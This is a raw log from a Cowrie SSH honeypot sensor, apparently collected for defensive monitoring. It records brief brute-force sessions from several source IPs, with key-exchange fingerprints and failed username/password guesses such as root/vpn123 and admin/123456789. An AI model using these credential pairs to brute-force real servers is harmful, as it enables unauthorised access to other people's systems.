{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:22.606429Z","src_ip":"94.26.106.229","session":"d0c73b78716c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":53108,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bc4e80450a1","protocol":"ssh","message":"New connection: 43.128.86.117:53108 (159.203.135.109:22) [session: 8bc4e80450a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:22.776133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:22.780929Z","src_ip":"43.128.86.117","session":"8bc4e80450a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:23.017907Z","src_ip":"43.128.86.117","session":"8bc4e80450a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"flappie2011","message":"login attempt [root/flappie2011] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:23.172667Z","src_ip":"103.77.242.62","session":"d8cdc7c1c00f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":57096,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b69ff90e1d7","protocol":"ssh","message":"New connection: 94.26.106.229:57096 (159.203.135.109:22) [session: 8b69ff90e1d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:23.292357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:23.297011Z","src_ip":"94.26.106.229","session":"8b69ff90e1d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:23.385304Z","src_ip":"94.26.106.229","session":"8b69ff90e1d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"password","message":"login attempt [kafka/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:23.653544Z","src_ip":"94.26.106.229","session":"8b69ff90e1d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36114,"dst_ip":"159.203.135.109","dst_port":22,"session":"333a8da3c268","protocol":"ssh","message":"New connection: 45.156.87.204:36114 (159.203.135.109:22) [session: 333a8da3c268]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:23.993474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:23.997583Z","src_ip":"45.156.87.204","session":"333a8da3c268","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpn123","message":"login attempt [root/vpn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:24.008865Z","src_ip":"43.128.86.117","session":"8bc4e80450a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:24.087184Z","src_ip":"45.156.87.204","session":"333a8da3c268","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:24.335715Z","src_ip":"45.156.87.204","session":"333a8da3c268","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:24.414785Z","src_ip":"103.77.242.62","session":"d8cdc7c1c00f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:24.744027Z","src_ip":"94.26.106.229","session":"8b69ff90e1d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:25.247582Z","src_ip":"43.128.86.117","session":"8bc4e80450a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":57110,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fce6a3827c7","protocol":"ssh","message":"New connection: 94.26.106.229:57110 (159.203.135.109:22) [session: 7fce6a3827c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:25.419198Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:25.424376Z","src_ip":"45.156.87.204","session":"333a8da3c268","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:25.465195Z","src_ip":"94.26.106.229","session":"7fce6a3827c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:25.597210Z","src_ip":"94.26.106.229","session":"7fce6a3827c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:25.980761Z","src_ip":"94.26.106.229","session":"7fce6a3827c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":47472,"dst_ip":"159.203.135.109","dst_port":22,"session":"adc543136166","protocol":"ssh","message":"New connection: 109.172.54.111:47472 (159.203.135.109:22) [session: adc543136166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:26.011355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:26.016331Z","src_ip":"109.172.54.111","session":"adc543136166","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:26.111955Z","src_ip":"109.172.54.111","session":"adc543136166","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex","message":"login attempt [root/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:26.399247Z","src_ip":"109.172.54.111","session":"adc543136166","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:27.071657Z","src_ip":"94.26.106.229","session":"7fce6a3827c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":36128,"dst_ip":"159.203.135.109","dst_port":22,"session":"614de1c4fd08","protocol":"ssh","message":"New connection: 45.156.87.204:36128 (159.203.135.109:22) [session: 614de1c4fd08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:27.346703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:27.351754Z","src_ip":"45.156.87.204","session":"614de1c4fd08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:27.497452Z","src_ip":"109.172.54.111","session":"adc543136166","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:27.585834Z","src_ip":"45.156.87.204","session":"614de1c4fd08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:28.069052Z","src_ip":"45.156.87.204","session":"614de1c4fd08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":57120,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2254c18f889","protocol":"ssh","message":"New connection: 94.26.106.229:57120 (159.203.135.109:22) [session: b2254c18f889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:28.165443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:28.170053Z","src_ip":"94.26.106.229","session":"b2254c18f889","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:28.258089Z","src_ip":"94.26.106.229","session":"b2254c18f889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49730,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d8742189918","protocol":"telnet","message":"New connection: 152.42.224.71:49730 (10.17.0.5:23) [session: 7d8742189918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:28.466669Z"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"chris","message":"login attempt [aaa/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:28.521260Z","src_ip":"94.26.106.229","session":"b2254c18f889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:29.153562Z","src_ip":"45.156.87.204","session":"614de1c4fd08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":40208,"dst_ip":"159.203.135.109","dst_port":22,"session":"f388a88dc1bd","protocol":"ssh","message":"New connection: 185.236.22.41:40208 (159.203.135.109:22) [session: f388a88dc1bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:29.297116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:29.326227Z","src_ip":"185.236.22.41","session":"f388a88dc1bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:29.415070Z","src_ip":"185.236.22.41","session":"f388a88dc1bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:29.611600Z","src_ip":"94.26.106.229","session":"b2254c18f889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kola91","message":"login attempt [root/kola91] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:29.867257Z","src_ip":"185.236.22.41","session":"f388a88dc1bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":57134,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd75b070ea11","protocol":"ssh","message":"New connection: 94.26.106.229:57134 (159.203.135.109:22) [session: fd75b070ea11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:09:30.310672Z"}
